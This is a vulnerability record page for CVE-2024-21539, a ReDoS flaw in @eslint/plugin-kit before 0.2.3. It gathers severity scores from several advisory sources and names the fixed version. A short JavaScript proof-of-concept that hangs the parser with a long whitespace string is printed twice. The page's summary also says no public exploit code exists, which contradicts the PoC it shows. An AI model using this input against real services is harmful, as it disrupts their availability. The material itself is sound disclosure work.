CVE-2024-21539

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

8.7 HighFix available

Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: High

Exploit likelihood

0.51%Up 0.5 points since Nov 19, 2024

What each source reports

CVE List Score used 8.7

Record: CVE-2024-21539
CVSS 4.0: 8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P
Weakness: CWE-1333, CWE-770
Updated: 2026-11-02

EUVDEUVD-2024-3213 8.7

Record: EUVD-2024-3213
CVSS 4.0: 8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Updated: 2026-11-02

GitHub AdvisoriesGHSA-7q7g-4xm8-89cq 3.5

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Record: GHSA-7q7g-4xm8-89cq
CVSS 3.1: 3.5 LowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
Weakness: CWE-770, CWE-1333
Updated: 2026-11-02

NVD 7.7

Record: CVE-2024-21539
CVSS 4.0: 7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-1333, CWE-770
Updated: 2026-11-02

OSV 7.7

Record: CVE-2024-21539
CVSS 4.0: 7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Weakness: CWE-1333
Updated: 2026-11-02

OSVGHSA-7q7g-4xm8-89cq 3.5

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Record: GHSA-7q7g-4xm8-89cq
CVSS 3.1: 3.5 LowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
Weakness: CWE-1333, CWE-770
Updated: 2026-11-02

Affected products

eslint rewrite

Affected packages

Affected packages
Package	Affected	Fixed
`@eslint/plugin-kit` npm	before 0.2.3	0.2.3

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-21539 is a high vulnerability (CVSS 8.7) in Eslint Rewrite, published November 15, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in @eslint/plugin-kit 0.2.3.